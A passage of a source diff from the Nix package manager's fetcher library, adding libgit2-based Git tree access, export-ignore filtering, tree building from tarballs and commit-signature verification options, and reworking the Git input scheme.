Stat { .type = tRegular, .isExecutable = true }; + + else if (mode == GIT_FILEMODE_LINK) + return Stat { .type = tSymlink }; + + else if (mode == GIT_FILEMODE_COMMIT) + // Treat submodules as an empty directory. + return Stat { .type = tDirectory }; + + else + throw Error("file '%s' has an unsupported Git file type"); + } + + DirEntries readDirectory(const CanonPath & path) override + { + return std::visit(overloaded { + [&](Tree tree) { + DirEntries res; + + auto count = git_tree_entrycount(tree.get()); + + for (size_t n = 0; n < count; ++n) { + auto entry = git_tree_entry_byindex(tree.get(), n); + // FIXME: add to cache + res.emplace(std::string(git_tree_entry_name(entry)), DirEntry{}); + } + + return res; + }, + [&](Submodule) { + return DirEntries(); + } + }, getTree(path)); + } + + std::string readLink(const CanonPath & path) override + { + return readBlob(path, true); + } + + Hash getSubmoduleRev(const CanonPath & path) + { + auto entry = need(path); + + if (git_tree_entry_type(entry) != GIT_OBJECT_COMMIT) + throw Error("'%s' is not a submodule", showPath(path)); + + return toHash(*git_tree_entry_id(entry)); + } + + std::unordered_map lookupCache; + + /* Recursively look up 'path' relative to the root. */ + git_tree_entry * lookup(const CanonPath & path) + { + auto i = lookupCache.find(path); + if (i != lookupCache.end()) return i->second.get(); + + auto parent = path.parent(); + if (!parent) return nullptr; + + auto name = path.baseName().value(); + + auto parentTree = lookupTree(*parent); + if (!parentTree) return nullptr; + + auto count = git_tree_entrycount(parentTree->get()); + + git_tree_entry * res = nullptr; + + /* Add all the tree entries to the cache to speed up + subsequent lookups. */ + for (size_t n = 0; n < count; ++n) { + auto entry = git_tree_entry_byindex(parentTree->get(), n); + + TreeEntry copy; + if (git_tree_entry_dup(Setter(copy), entry)) + throw Error("dupping tree entry: %s", git_error_last()->message); + + auto entryName = std::string_view(git_tree_entry_name(entry)); + + if (entryName == name) + res = copy.get(); + + auto path2 = *parent; + path2.push(entryName); + lookupCache.emplace(path2, std::move(copy)).first->second.get(); + } + + return res; + } + + std::optional lookupTree(const CanonPath & path) + { + if (path.isRoot()) { + if (git_object_type(root.get()) == GIT_OBJECT_TREE) + return dupObject((git_tree *) &*root); + else + return std::nullopt; + } + + auto entry = lookup(path); + if (!entry || git_tree_entry_type(entry) != GIT_OBJECT_TREE) + return std::nullopt; + + Tree tree; + if (git_tree_entry_to_object((git_object * *) (git_tree * *) Setter(tree), *repo, entry)) + throw Error("looking up directory '%s': %s", showPath(path), git_error_last()->message); + + return tree; + } + + git_tree_entry * need(const CanonPath & path) + { + auto entry = lookup(path); + if (!entry) + throw Error("'%s' does not exist", showPath(path)); + return entry; + } + + struct Submodule { }; + + std::variant getTree(const CanonPath & path) + { + if (path.isRoot()) { + if (git_object_type(root.get()) == GIT_OBJECT_TREE) + return dupObject((git_tree *) &*root); + else + throw Error("Git root object '%s' is not a directory", *git_object_id(root.get())); + } + + auto entry = need(path); + + if (git_tree_entry_type(entry) == GIT_OBJECT_COMMIT) + return Submodule(); + + if (git_tree_entry_type(entry) != GIT_OBJECT_TREE) + throw Error("'%s' is not a directory", showPath(path)); + + Tree tree; + if (git_tree_entry_to_object((git_object * *) (git_tree * *) Setter(tree), *repo, entry)) + throw Error("looking up directory '%s': %s", showPath(path), git_error_last()->message); + + return tree; + } + + Blob getBlob(const CanonPath & path, bool expectSymlink) + { + if (!expectSymlink && git_object_type(root.get()) == GIT_OBJECT_BLOB) + return dupObject((git_blob *) &*root); + + auto notExpected = [&]() + { + throw Error( + expectSymlink + ? "'%s' is not a symlink" + : "'%s' is not a regular file", + showPath(path)); + }; + + if (path.isRoot()) notExpected(); + + auto entry = need(path); + + if (git_tree_entry_type(entry) != GIT_OBJECT_BLOB) + notExpected(); + + auto mode = git_tree_entry_filemode(entry); + if (expectSymlink) { + if (mode != GIT_FILEMODE_LINK) + notExpected(); + } else { + if (mode != GIT_FILEMODE_BLOB && mode != GIT_FILEMODE_BLOB_EXECUTABLE) + notExpected(); + } + + Blob blob; + if (git_tree_entry_to_object((git_object * *) (git_blob * *) Setter(blob), *repo, entry)) + throw Error("looking up file '%s': %s", showPath(path), git_error_last()->message); + + return blob; + } +}; + +struct GitExportIgnoreSourceAccessor : CachingFilteringSourceAccessor { + ref repo; + std::optional rev; + + GitExportIgnoreSourceAccessor(ref repo, ref next, std::optional rev) + : CachingFilteringSourceAccessor(next, [&](const CanonPath & path) { + return RestrictedPathError(fmt("'%s' does not exist because it was fetched with exportIgnore enabled", path)); + }) + , repo(repo) + , rev(rev) + { } + + bool gitAttrGet(const CanonPath & path, const char * attrName, const char * & valueOut) + { + const char * pathCStr = path.rel_c_str(); + + if (rev) { + git_attr_options opts = GIT_ATTR_OPTIONS_INIT; + opts.attr_commit_id = hashToOID(*rev); + // TODO: test that gitattributes from global and system are not used + // (ie more or less: home and etc - both of them!) + opts.flags = GIT_ATTR_CHECK_INCLUDE_COMMIT | GIT_ATTR_CHECK_NO_SYSTEM; + return git_attr_get_ext( + &valueOut, + *repo, + &opts, + pathCStr, + attrName + ); + } + else { + return git_attr_get( + &valueOut, + *repo, + GIT_ATTR_CHECK_INDEX_ONLY | GIT_ATTR_CHECK_NO_SYSTEM, + pathCStr, + attrName); + } + } + + bool isExportIgnored(const CanonPath & path) + { + const char *exportIgnoreEntry = nullptr; + + // GIT_ATTR_CHECK_INDEX_ONLY: + // > It will use index only for creating archives or for a bare repo + // > (if an index has been specified for the bare repo). + // -- https://github.com/libgit2/libgit2/blob/HEAD/include/git2/attr.h#L113C62-L115C48 + if (gitAttrGet(path, "export-ignore", exportIgnoreEntry)) { + if (git_error_last()->klass == GIT_ENOTFOUND) + return false; + else + throw Error("looking up '%s': %s", showPath(path), git_error_last()->message); + } + else { + // Official git will silently reject export-ignore lines that have + // values. We do the same. + return GIT_ATTR_IS_TRUE(exportIgnoreEntry); + } + } + + bool isAllowedUncached(const CanonPath & path) override + { + return !isExportIgnored(path); + } + +}; + +struct GitFileSystemObjectSinkImpl : GitFileSystemObjectSink +{ + ref repo; + + struct PendingDir + { + std::string name; + TreeBuilder builder; + }; + + std::vector pendingDirs; + + void pushBuilder(std::string name) + { + git_treebuilder * b; + if (git_treebuilder_new(&b, *repo, nullptr)) + throw Error("creating a tree builder: %s", git_error_last()->message); + pendingDirs.push_back({ .name = std::move(name), .builder = TreeBuilder(b) }); + }; + + GitFileSystemObjectSinkImpl(ref repo) : repo(repo) + { + pushBuilder(""); + } + + std::pair popBuilder() + { + assert(!pendingDirs.empty()); + auto pending = std::move(pendingDirs.back()); + git_oid oid; + if (git_treebuilder_write(&oid, pending.builder.get())) + throw Error("creating a tree object: %s", git_error_last()->message); + pendingDirs.pop_back(); + return {oid, pending.name}; + }; + + void addToTree(const std::string & name, const git_oid & oid, git_filemode_t mode) + { + assert(!pendingDirs.empty()); + auto & pending = pendingDirs.back(); + if (git_treebuilder_insert(nullptr, pending.builder.get(), name.c_str(), &oid, mode)) + throw Error("adding a file to a tree builder: %s", git_error_last()->message); + }; + + void updateBuilders(std::span names) + { + // Find the common prefix of pendingDirs and names. + size_t prefixLen = 0; + for (; prefixLen < names.size() && prefixLen + 1 < pendingDirs.size(); ++prefixLen) + if (names[prefixLen] != pendingDirs[prefixLen + 1].name) + break; + + // Finish the builders that are not part of the common prefix. + for (auto n = pendingDirs.size(); n > prefixLen + 1; --n) { + auto [oid, name] = popBuilder(); + addToTree(name, oid, GIT_FILEMODE_TREE); + } + + // Create builders for the new directories. + for (auto n = prefixLen; n < names.size(); ++n) + pushBuilder(names[n]); + }; + + bool prepareDirs(const std::vector & pathComponents, bool isDir) + { + std::span pathComponents2{pathComponents}; + + updateBuilders( + isDir + ? pathComponents2 + : pathComponents2.first(pathComponents2.size() - 1)); + + return true; + } + + void createRegularFile( + const CanonPath & path, + std::function func) override + { + auto pathComponents = tokenizeString>(path.rel(), "/"); + if (!prepareDirs(pathComponents, false)) return; + + git_writestream * stream = nullptr; + if (git_blob_create_from_stream(&stream, *repo, nullptr)) + throw Error("creating a blob stream object: %s", git_error_last()->message); + + struct CRF : CreateRegularFileSink { + const CanonPath & path; + GitFileSystemObjectSinkImpl & back; + git_writestream * stream; + bool executable = false; + CRF(const CanonPath & path, GitFileSystemObjectSinkImpl & back, git_writestream * stream) + : path(path), back(back), stream(stream) + {} + void operator () (std::string_view data) override + { + if (stream->write(stream, data.data(), data.size())) + throw Error("writing a blob for tarball member '%s': %s", path, git_error_last()->message); + } + void isExecutable() override + { + executable = true; + } + } crf { path, *this, stream }; + func(crf); + + git_oid oid; + if (git_blob_create_from_stream_commit(&oid, stream)) + throw Error("creating a blob object for tarball member '%s': %s", path, git_error_last()->message); + + addToTree(*pathComponents.rbegin(), oid, + crf.executable + ? GIT_FILEMODE_BLOB_EXECUTABLE + : GIT_FILEMODE_BLOB); + } + + void createDirectory(const CanonPath & path) override + { + auto pathComponents = tokenizeString>(path.rel(), "/"); + (void) prepareDirs(pathComponents, true); + } + + void createSymlink(const CanonPath & path, const std::string & target) override + { + auto pathComponents = tokenizeString>(path.rel(), "/"); + if (!prepareDirs(pathComponents, false)) return; + + git_oid oid; + if (git_blob_create_from_buffer(&oid, *repo, target.c_str(), target.size())) + throw Error("creating a blob object for tarball symlink member '%s': %s", path, git_error_last()->message); + + addToTree(*pathComponents.rbegin(), oid, GIT_FILEMODE_LINK); + } + + void createHardlink(const CanonPath & path, const CanonPath & target) override + { + std::vector pathComponents; + for (auto & c : path) + pathComponents.emplace_back(c); + + if (!prepareDirs(pathComponents, false)) return; + + // We can't just look up the path from the start of the root, since + // some parent directories may not have finished yet, so we compute + // a relative path that helps us find the right git_tree_builder or object. + auto relTarget = CanonPath(path).parent()->makeRelative(target); + + auto dir = pendingDirs.rbegin(); + + // For each ../ component at the start, go up one directory. + // CanonPath::makeRelative() always puts all .. elements at the start, + // so they're all handled by this loop: + std::string_view relTargetLeft(relTarget); + while (hasPrefix(relTargetLeft, "../")) { + if (dir == pendingDirs.rend()) + throw Error("invalid hard link target '%s' for path '%s'", target, path); + ++dir; + relTargetLeft = relTargetLeft.substr(3); + } + if (dir == pendingDirs.rend()) + throw Error("invalid hard link target '%s' for path '%s'", target, path); + + // Look up the remainder of the target, starting at the + // top-most `git_treebuilder`. + std::variant curDir{dir->builder.get()}; + Object tree; // needed to keep `entry` alive + const git_tree_entry * entry = nullptr; + + for (auto & c : CanonPath(relTargetLeft)) { + if (auto builder = std::get_if(&curDir)) { + assert(*builder); + if (!(entry = git_treebuilder_get(*builder, std::string(c).c_str()))) + throw Error("cannot find hard link target '%s' for path '%s'", target, path); + curDir = *git_tree_entry_id(entry); + } else if (auto oid = std::get_if(&curDir)) { + tree = lookupObject(*repo, *oid, GIT_OBJECT_TREE); + if (!(entry = git_tree_entry_byname((const git_tree *) &*tree, std::string(c).c_str()))) + throw Error("cannot find hard link target '%s' for path '%s'", target, path); + curDir = *git_tree_entry_id(entry); + } + } + + assert(entry); + + addToTree(*pathComponents.rbegin(), + *git_tree_entry_id(entry), + git_tree_entry_filemode(entry)); + } + + Hash sync() override + { + updateBuilders({}); + + auto [oid, _name] = popBuilder(); + + return toHash(oid); + } +}; + +ref GitRepoImpl::getRawAccessor(const Hash & rev) +{ + auto self = ref(shared_from_this()); + return make_ref(self, rev); +} + +ref GitRepoImpl::getAccessor(const Hash & rev, bool exportIgnore) +{ + auto self = ref(shared_from_this()); + ref rawGitAccessor = getRawAccessor(rev); + if (exportIgnore) { + return make_ref(self, rawGitAccessor, rev); + } + else { + return rawGitAccessor; + } +} + +ref GitRepoImpl::getAccessor(const WorkdirInfo & wd, bool exportIgnore, MakeNotAllowedError makeNotAllowedError) +{ + auto self = ref(shared_from_this()); + /* In case of an empty workdir, return an empty in-memory tree. We + cannot use AllowListSourceAccessor because it would return an + error for the root (and we can't add the root to the allow-list + since that would allow access to all its children). */ + ref fileAccessor = + wd.files.empty() + ? makeEmptySourceAccessor() + : AllowListSourceAccessor::create( + makeFSSourceAccessor(path), + std::set { wd.files }, + std::move(makeNotAllowedError)).cast(); + if (exportIgnore) + return make_ref(self, fileAccessor, std::nullopt); + else + return fileAccessor; +} + +ref GitRepoImpl::getFileSystemObjectSink() +{ + return make_ref(ref(shared_from_this())); +} + +std::vector> GitRepoImpl::getSubmodules(const Hash & rev, bool exportIgnore) +{ + /* Read the .gitmodules files from this revision. */ + CanonPath modulesFile(".gitmodules"); + + auto accessor = getAccessor(rev, exportIgnore); + if (!accessor->pathExists(modulesFile)) return {}; + + /* Parse it and get the revision of each submodule. */ + auto configS = accessor->readFile(modulesFile); + + auto [fdTemp, pathTemp] = createTempFile("nix-git-submodules"); + writeFull(fdTemp.get(), configS); + + std::vector> result; + + auto rawAccessor = getRawAccessor(rev); + + for (auto & submodule : parseSubmodules(pathTemp)) { + auto rev = rawAccessor->getSubmoduleRev(submodule.path); + result.push_back({std::move(submodule), rev}); + } + + return result; +} + +ref getTarballCache() +{ + static auto repoDir = std::filesystem::path(getCacheDir()) / "nix" / "tarball-cache"; + + return GitRepo::openRepo(repoDir, true, true); +} + +} diff --git a/src/libfetchers/git-utils.hh b/src/libfetchers/git-utils.hh new file mode 100644 index 000000000..915252868 --- /dev/null +++ b/src/libfetchers/git-utils.hh @@ -0,0 +1,112 @@ +#pragma once + +#include "filtering-source-accessor.hh" +#include "fs-sink.hh" + +namespace nix { + +namespace fetchers { struct PublicKey; } + +struct GitFileSystemObjectSink : ExtendedFileSystemObjectSink +{ + /** + * Flush builder and return a final Git hash. + */ + virtual Hash sync() = 0; +}; + +struct GitRepo +{ + virtual ~GitRepo() + { } + + static ref openRepo(const std::filesystem::path & path, bool create = false, bool bare = false); + + virtual uint64_t getRevCount(const Hash & rev) = 0; + + virtual uint64_t getLastModified(const Hash & rev) = 0; + + virtual bool isShallow() = 0; + + /* Return the commit hash to which a ref points. */ + virtual Hash resolveRef(std::string ref) = 0; + + virtual void setRemote(const std::string & name, const std::string & url) = 0; + + /** + * Info about a submodule. + */ + struct Submodule + { + CanonPath path; + std::string url; + std::string branch; + }; + + struct WorkdirInfo + { + bool isDirty = false; + + /* The checked out commit, or nullopt if there are no commits + in the repo yet. */ + std::optional headRev; + + /* All files in the working directory that are unchanged, + modified or added, but excluding deleted files. */ + std::set files; + + /* The submodules listed in .gitmodules of this workdir. */ + std::vector submodules; + }; + + virtual WorkdirInfo getWorkdirInfo() = 0; + + /* Get the ref that HEAD points to. */ + virtual std::optional getWorkdirRef() = 0; + + /** + * Return the submodules of this repo at the indicated revision, + * along with the revision of each submodule. + */ + virtual std::vector> getSubmodules(const Hash & rev, bool exportIgnore) = 0; + + virtual std::string resolveSubmoduleUrl(const std::string & url) = 0; + + virtual bool hasObject(const Hash & oid) = 0; + + virtual ref getAccessor(const Hash & rev, bool exportIgnore) = 0; + + virtual ref getAccessor(const WorkdirInfo & wd, bool exportIgnore, MakeNotAllowedError makeNotAllowedError) = 0; + + virtual ref getFileSystemObjectSink() = 0; + + virtual void fetch( + const std::string & url, + const std::string & refspec, + bool shallow) = 0; + + /** + * Verify that commit `rev` is signed by one of the keys in + * `publicKeys`. Throw an error if it isn't. + */ + virtual void verifyCommit( + const Hash & rev, + const std::vector & publicKeys) = 0; + + /** + * Given a Git tree hash, compute the hash of its NAR + * serialisation. This is memoised on-disk. + */ + virtual Hash treeHashToNarHash(const Hash & treeHash) = 0; + + /** + * If the specified Git object is a directory with a single entry + * that is a directory, return the ID of that object. + * Otherwise, return the passed ID unchanged. + */ + virtual Hash dereferenceSingletonDirectory(const Hash & oid) = 0; +}; + +ref getTarballCache(); + +} diff --git a/src/libfetchers/git.cc b/src/libfetchers/git.cc index 1f7d7c07d..076c757c5 100644 --- a/src/libfetchers/git.cc +++ b/src/libfetchers/git.cc @@ -1,19 +1,28 @@ +#include "error.hh" #include "fetchers.hh" +#include "users.hh" #include "cache.hh" #include "globals.hh" #include "tarfile.hh" #include "store-api.hh" #include "url-parts.hh" #include "pathlocks.hh" -#include "util.hh" +#include "processes.hh" #include "git.hh" +#include "mounted-source-accessor.hh" +#include "git-utils.hh" +#include "logging.hh" +#include "finally.hh" #include "fetch-settings.hh" #include #include #include -#include + +#ifndef _WIN32 +# include +#endif using namespace std::string_literals; @@ -32,21 +41,12 @@ bool isCacheFileWithinTtl(time_t now, const struct stat & st) return st.st_mtime + settings.tarballTtl > now; } -bool touchCacheFile(const Path & path, time_t touch_time) +Path getCachePath(std::string_view key, bool shallow) { - struct timeval times[2]; - times[0].tv_sec = touch_time; - times[0].tv_usec = 0; - times[1].tv_sec = touch_time; - times[1].tv_usec = 0; - - return lutimes(path.c_str(), times) == 0; -} - -Path getCachePath(std::string_view key) -{ - return getCacheDir() + "/nix/gitv3/" + - hashString(htSHA256, key).to_string(Base32, false); + return getCacheDir() + + "/nix/gitv3/" + + hashString(HashAlgorithm::SHA256, key).to_string(HashFormat::Nix32, false) + + (shallow ? "-shallow" : ""); } // Returns the name of the HEAD branch. @@ -62,6 +62,7 @@ std::optional readHead(const Path & path) .program = "git", // FIXME: use 'HEAD' to avoid returning all refs .args = {"ls-remote", "--symref", path}, + .isInteractive = true, }); if (status != 0) return std::nullopt; @@ -84,11 +85,20 @@ std::optional readHead(const Path & path) // Persist the HEAD ref from the remote repo in the local cached repo. bool storeCachedHead(const std::string & actualUrl, const std::string & headRef) { - Path cacheDir = getCachePath(actualUrl); + // set shallow=false as HEAD will never be queried for a shallow repo + Path cacheDir = getCachePath(actualUrl, false); try { runProgram("git", true, { "-C", cacheDir, "--git-dir", ".", "symbolic-ref", "--", "HEAD", headRef }); } catch (ExecError &e) { - if (!WIFEXITED(e.status)) throw; + if ( +#ifndef WIN32 // TODO abstract over exit status handling on Windows + !WIFEXITED(e.status) +#else + e.status != 0 +#endif + ) + throw; + return false; } /* No need to touch refs/HEAD, because `git symbolic-ref` updates the mtime. */ @@ -99,7 +109,8 @@ std::optional readHeadCached(const std::string & actualUrl) { // Create a cache path to store the branch of the HEAD ref. Append something // in front of the URL to prevent collision with the repository itself. - Path cacheDir = getCachePath(actualUrl); + // set shallow=false as HEAD will never be queried for a shallow repo + Path cacheDir = getCachePath(actualUrl, false); Path headRefFile = cacheDir + "/HEAD"; time_t now = time(0); @@ -131,124 +142,31 @@ std::optional readHeadCached(const std::string & actualUrl) return std::nullopt; } -bool isNotDotGitDirectory(const Path & path) +std::vector getPublicKeys(const Attrs & attrs) { - return baseNameOf(path) != ".git"; -} + std::vector publicKeys; + if (attrs.contains("publicKeys")) { + auto pubKeysJson = nlohmann::json::parse(getStrAttr(attrs, "publicKeys")); + auto & pubKeys = getArray(pubKeysJson); -struct WorkdirInfo -{ - bool clean = false; - bool hasHead = false; -}; - -// Returns whether a git workdir is clean and has commits. -WorkdirInfo getWorkdirInfo(const Input & input, const Path & workdir) -{ - const bool submodules = maybeGetBoolAttr(input.attrs, "submodules").value_or(false); - std::string gitDir(".git"); - - auto env = getEnv(); - // Set LC_ALL to C: because we rely on the error messages from git rev-parse to determine what went wrong - // that way unknown errors can lead to a failure instead of continuing through the wrong code path - env["LC_ALL"] = "C"; - - /* Check whether HEAD points to something that looks like a commit, - since that is the refrence we want to use later on. */ - auto result = runProgram(RunOptions { - .program = "git", - .args = { "-C", workdir, "--git-dir", gitDir, "rev-parse", "--verify", "--no-revs", "HEAD^{commit}" }, - .environment = env, - .mergeStderrToStdout = true - }); - auto exitCode = WEXITSTATUS(result.first); - auto errorMessage = result.second; - - if (errorMessage.find("fatal: not a git repository") != std::string::npos) { - throw Error("'%s' is not a Git repository", workdir); - } else if (errorMessage.find("fatal: Needed a single revision") != std::string::npos) { - // indicates that the repo does not have any commits - // we want to proceed and will consider it dirty later - } else if (exitCode != 0) { - // any other errors should lead to a failure - throw Error("getting the HEAD of the Git tree '%s' failed with exit code %d:\n%s", workdir, exitCode, errorMessage); - } - - bool clean = false; - bool hasHead = exitCode == 0; - - try { - if (hasHead) { - // Using git diff is preferrable over lower-level operations here, - // because its conceptually simpler and we only need the exit code anyways. - auto gitDiffOpts = Strings({ "-C", workdir, "--git-dir", gitDir, "diff", "HEAD", "--quiet"}); - if (!submodules) { - // Changes in submodules should only make the tree dirty - // when those submodules will be copied as well. - gitDiffOpts.emplace_back("--ignore-submodules"); - } - gitDiffOpts.emplace_back("--"); - runProgram("git", true, gitDiffOpts); - - clean = true; + for (auto & key : pubKeys) { + publicKeys.push_back(key); } - } catch (ExecError & e) { - if (!WIFEXITED(e.status) || WEXITSTATUS(e.status) != 1) throw; } - - return WorkdirInfo { .clean = clean, .hasHead = hasHead }; + if (attrs.contains("publicKey")) + publicKeys.push_back(PublicKey{maybeGetStrAttr(attrs, "keytype").value_or("ssh-ed25519"),getStrAttr(attrs, "publicKey")}); + return publicKeys; } -std::pair fetchFromWorkdir(ref store, Input & input, const Path & workdir, const WorkdirInfo & workdirInfo) -{ - const bool submodules = maybeGetBoolAttr(input.attrs, "submodules").value_or(false); - auto gitDir = ".git"; - - if (!fetchSettings.allowDirty) - throw Error("Git tree '%s' is dirty", workdir); - - if (fetchSettings.warnDirty) - warn("Git tree '%s' is dirty", workdir); - - auto gitOpts = Strings({ "-C", workdir, "--git-dir", gitDir, "ls-files", "-z" }); - if (submodules) - gitOpts.emplace_back("--recurse-submodules"); - - auto files = tokenizeString>( - runProgram("git", true, gitOpts), "\0"s); - - Path actualPath(absPath(workdir)); - - PathFilter filter = [&](const Path & p) -> bool { - assert(hasPrefix(p, actualPath)); - std::string file(p, actualPath.size() + 1); - - auto st = lstat(p); - - if (S_ISDIR(st.st_mode)) { - auto prefix = file + "/"; - auto i = files.lower_bound(prefix); - return i != files.end() && hasPrefix(*i, prefix); - } - - return files.count(file); - }; - - auto storePath = store->addToStore(input.getName(), actualPath, FileIngestionMethod::Recursive, htSHA256, filter); - - // FIXME: maybe we should use the timestamp of the last - // modified dirty file? - input.attrs.insert_or_assign( - "lastModified", - workdirInfo.hasHead ? std::stoull(runProgram("git", true, { "-C", actualPath, "--git-dir", gitDir, "log", "-1", "--format=%ct", "--no-show-signature", "HEAD" })) : 0); - - return {std::move(storePath), input}; -} } // end namespace +static const Hash nullRev{HashAlgorithm::SHA1}; + struct GitInputScheme : InputScheme { - std::optional inputFromURL(const ParsedURL & url) const override + std::optional inputFromURL( + const Settings & settings, + const ParsedURL & url, bool requireTree) const override { if (url.scheme != "git" && url.scheme != "git+http" && @@ -264,9 +182,9 @@ struct GitInputScheme : InputScheme attrs.emplace("type", "git"); for (auto & [name, value] : url.query) { - if (name == "rev" || name == "ref") + if (name == "rev" || name == "ref" || name == "keytype" || name == "publicKey" || name == "publicKeys") attrs.emplace(name, value); - else if (name == "shallow" || name == "submodules") + else if (name == "shallow" || name == "submodules" || name == "exportIgnore" || name == "allRefs" || name == "verifyCommit") attrs.emplace(name, Explicit { value == "1" }); else url2.query.emplace(name, value); @@ -274,29 +192,64 @@ struct GitInputScheme : InputScheme attrs.emplace("url", url2.to_string()); - return inputFromAttrs(attrs); + return inputFromAttrs(settings, attrs); } - std::optional inputFromAttrs(const Attrs & attrs) const override + + std::string_view schemeName() const override { - if (maybeGetStrAttr(attrs, "type") != "git") return {}; + return "git"; + } - for (auto & [name, value] : attrs) - if (name != "type" && name != "url" && name != "ref" && name != "rev" && name != "shallow" && name != "submodules" && name != "lastModified" && name != "revCount" && name != "narHash" && name != "allRefs" && name != "name") - throw Error("unsupported Git input attribute '%s'", name); + StringSet allowedAttrs() const override + { + return { + "url", + "ref", + "rev", + "shallow", + "submodules", + "exportIgnore", + "lastModified", + "revCount", + "narHash", + "allRefs", + "name", + "dirtyRev", + "dirtyShortRev", + "verifyCommit", + "keytype", + "publicKey", + "publicKeys", + }; + } - parseURL(getStrAttr(attrs, "url")); - maybeGetBoolAttr(attrs, "shallow"); - maybeGetBoolAttr(attrs, "submodules"); - maybeGetBoolAttr(attrs, "allRefs"); + std::optional inputFromAttrs( + const Settings & settings, + const Attrs & attrs) const override + { + for (auto & [name, _] : attrs) + if (name == "verifyCommit" + || name == "keytype" + || name == "publicKey" + || name == "publicKeys") + experimentalFeatureSettings.require(Xp::VerifiedFetches); + + maybeGetBoolAttr(attrs, "verifyCommit"); if (auto ref = maybeGetStrAttr(attrs, "ref")) { if (std::regex_search(*ref, badGitRefRegex)) throw BadURL("invalid Git branch/tag name '%s'", *ref); } - Input input; + Input input{settings}; input.attrs = attrs; + auto url = fixGitURL(getStrAttr(attrs, "url")); + parseURL(url); + input.attrs["url"] = url; + getShallowAttr(input); + getSubmodulesAttr(input); + getAllRefsAttr(input); return input; } @@ -306,20 +259,24 @@ struct GitInputScheme : InputScheme if (url.scheme != "git") url.scheme = "git+" + url.scheme; if (auto rev = input.getRev()) url.query.insert_or_assign("rev", rev->gitRev()); if (auto ref = input.getRef()) url.query.insert_or_assign("ref", *ref); - if (maybeGetBoolAttr(input.attrs, "shallow").value_or(false)) + if (getShallowAttr(input)) url.query.insert_or_assign("shallow", "1"); + if (getSubmodulesAttr(input)) + url.query.insert_or_assign("submodules", "1"); + if (maybeGetBoolAttr(input.attrs, "exportIgnore").value_or(false)) + url.query.insert_or_assign("exportIgnore", "1"); + if (maybeGetBoolAttr(input.attrs, "verifyCommit").value_or(false)) + url.query.insert_or_assign("verifyCommit", "1"); + auto publicKeys = getPublicKeys(input.attrs); + if (publicKeys.size() == 1) { + url.query.insert_or_assign("keytype", publicKeys.at(0).type); + url.query.insert_or_assign("publicKey", publicKeys.at(0).key); + } + else if (publicKeys.size() > 1) + url.query.insert_or_assign("publicKeys", publicKeys_to_string(publicKeys)); return url; } - bool hasAllInfo(const Input & input) const override - { - bool maybeDirty = !input.getRef(); - bool shallow = maybeGetBoolAttr(input.attrs, "shallow").value_or(false); - return - maybeGetIntAttr(input.attrs, "lastModified") - && (shallow || maybeDirty || maybeGetIntAttr(input.attrs, "revCount")); - } - Input applyOverrides( const Input & input, std::optional ref, @@ -335,11 +292,11 @@ struct GitInputScheme : InputScheme void clone(const Input & input, const Path & destDir) const override { - auto [isLocal, actualUrl] = getActualUrl(input); + auto repoInfo = getRepoInfo(input); Strings args = {"clone"}; - args.push_back(actualUrl); + args.push_back(repoInfo.url); if (auto ref = input.getRef()) { args.push_back("--branch"); @@ -350,33 +307,116 @@ struct GitInputScheme : InputScheme args.push_back(destDir); - runProgram("git", true, args); + runProgram("git", true, args, {}, true); } - std::optional getSourcePath(const Input & input) override + std::optional getSourcePath(const Input & input) const override { - auto url = parseURL(getStrAttr(input.attrs, "url")); - if (url.scheme == "file" && !input.getRef() && !input.getRev()) - return url.path; - return {}; + auto repoInfo = getRepoInfo(input); + if (repoInfo.isLocal) return repoInfo.url; + return std::nullopt; } - void markChangedFile(const Input & input, std::string_view file, std::optional commitMsg) override + void putFile( + const Input & input, + const CanonPath & path, + std::string_view contents, + std::optional commitMsg) const override { - auto sourcePath = getSourcePath(input); - assert(sourcePath); - auto gitDir = ".git"; + auto repoInfo = getRepoInfo(input); + if (!repoInfo.isLocal) + throw Error("cannot commit '%s' to Git repository '%s' because it's not a working tree", path, input.to_string()); - runProgram("git", true, - { "-C", *sourcePath, "--git-dir", gitDir, "add", "--intent-to-add", "--", std::string(file) }); + writeFile((CanonPath(repoInfo.url) / path).abs(), contents); - if (commitMsg) + auto result = runProgram(RunOptions { + .program = "git", + .args = {"-C", repoInfo.url, "--git-dir", repoInfo.gitDir, "check-ignore", "--quiet", std::string(path.rel())}, + }); + auto exitCode = +#ifndef WIN32 // TODO abstract over exit status handling on Windows + WEXITSTATUS(result.first) +#else + result.first +#endif + ; + + if (exitCode != 0) { + // The path is not `.gitignore`d, we can add the file. runProgram("git", true, - { "-C", *sourcePath, "--git-dir", gitDir, "commit", std::string(file), "-m", *commitMsg }); + { "-C", repoInfo.url, "--git-dir", repoInfo.gitDir, "add", "--intent-to-add", "--", std::string(path.rel()) }); + + + if (commitMsg) { + // Pause the logger to allow for user input (such as a gpg passphrase) in `git commit` + logger->pause(); + Finally restoreLogger([]() { logger->resume(); }); + runProgram("git", true, + { "-C", repoInfo.url, "--git-dir", repoInfo.gitDir, "commit", std::string(path.rel()), "-F", "-" }, + *commitMsg); + } + } } - std::pair getActualUrl(const Input & input) const + struct RepoInfo { + /* Whether this is a local, non-bare repository. */ + bool isLocal = false; + + /* Working directory info: the complete list of files, and + whether the working directory is dirty compared to HEAD. */ + GitRepo::WorkdirInfo workdirInfo; + + /* URL of the repo, or its path if isLocal. Never a `file` URL. */ + std::string url; + + void warnDirty(const Settings & settings) const + { + if (workdirInfo.isDirty) { + if (!settings.allowDirty) + throw Error("Git tree '%s' is dirty", url); + + if (settings.warnDirty) + warn("Git tree '%s' is dirty", url); + } + } + + std::string gitDir = ".git"; + }; + + bool getShallowAttr(const Input & input) const + { + return maybeGetBoolAttr(input.attrs, "shallow").value_or(false); + } + + bool getSubmodulesAttr(const Input & input) const + { + return maybeGetBoolAttr(input.attrs, "submodules").value_or(false); + } + + bool getExportIgnoreAttr(const Input & input) const + { + return maybeGetBoolAttr(input.attrs, "exportIgnore").value_or(false); + } + + bool getAllRefsAttr(const Input & input) const + { + return maybeGetBoolAttr(input.attrs, "allRefs").value_or(false); + } + + RepoInfo getRepoInfo(const Input & input) const + { + auto checkHashAlgorithm = [&](const std::optional & hash) + { + if (hash.has_value() && !(hash->algo == HashAlgorithm::SHA1 || hash->algo == HashAlgorithm::SHA256)) + throw Error("Hash '%s' is not supported by Git. Supported types are sha1 and sha256.", hash->to_string(HashFormat::Base16, true)); + }; + + if (auto rev = input.getRev()) + checkHashAlgorithm(rev); + + RepoInfo repoInfo; + // file:// URIs are normally not cloned (but otherwise treated the // same as remote URIs, i.e. we don't use the working tree or // HEAD). Exception: If _NIX_FORCE_HTTP is set, or the repo is a bare git @@ -384,153 +424,135 @@ struct GitInputScheme : InputScheme static bool forceHttp = 